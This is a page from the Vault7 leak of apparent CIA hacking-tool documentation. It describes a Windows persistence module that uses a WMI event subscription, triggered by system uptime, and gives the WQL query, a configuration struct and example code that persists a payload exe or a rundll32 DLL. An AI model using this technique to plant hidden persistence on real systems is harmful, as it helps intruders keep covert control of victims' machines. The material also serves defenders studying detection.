Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Owner: User #71468
WMI Event Persistence (PSEDWMIEvent_SU - SystemUptime)
SECRET//NOFORN
OSB Library: Persistence
Module Name: PSEDWMIEvent_SU (SystemUptime)
Module Description: This module creates a persisted WMIWindows Management Instrumentation event that executes a command upon trigger of the system's uptime being between a given range in seconds. The event will trigger only once. The following is the WQL query used, with the passed parameters in parenthesis:
SELECT * FROM __InstanceModificationEvent WITHIN (polling interval) WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= (minimum uptime) AND TargetInstance.SystemUpTime < (minimum uptime + polling interval)
PSP/OS Issues: No known issues
('excerpt' missing)
Sharing Level: Unilateral
Technique Origin: In-house
Notes:
- Module uses COM and requires being run as admin to succeed
- Too low of a minimum uptime value can cause event to not trigger due to boot initialization
- Too small of a polling interval could potentially reduce system performance
Module Specific Structures:
struct WMIEvent_SU
{
DWORD dwMinUpTime; // Minimum number of seconds system should be up before executing command line, defaults to 120 seconds
DWORD dwPollingInterval; // Number of seconds in between polling for system up-time, defaults to 60 seconds
WCHAR *wcEventFilterName; // Name the WMIWindows Management Instrumentation event filter will be stored under
WCHAR *wcConsumerName; // Name the Command Line Event Consumer will be stored under
WMIEvent_SU(void) : dwMinUpTime(120), dwPollingInterval(60), wcEventFilterName(NULL), wcConsumerName(NULL){}
};
Example Code:
PSEDWMIEvent_SU wesu;
WMIEvent_SU su;
su.wcConsumerName = L"consumer";
su.wcEventFilterName = L"filter";
// Persist .exe
wesu.PersistPayload(L"C:\\Windows\\System32\\notepad.exe", &su));
// Remove Persistence
wesu.RemovePersistence(&su));
// Persist DLL
wesu.PersistPayload(L"rundll32.exe C:\\payload.dll", &su));
// Remove Persistence
wesu.RemovePersistence(&su));SECRET//NOFORN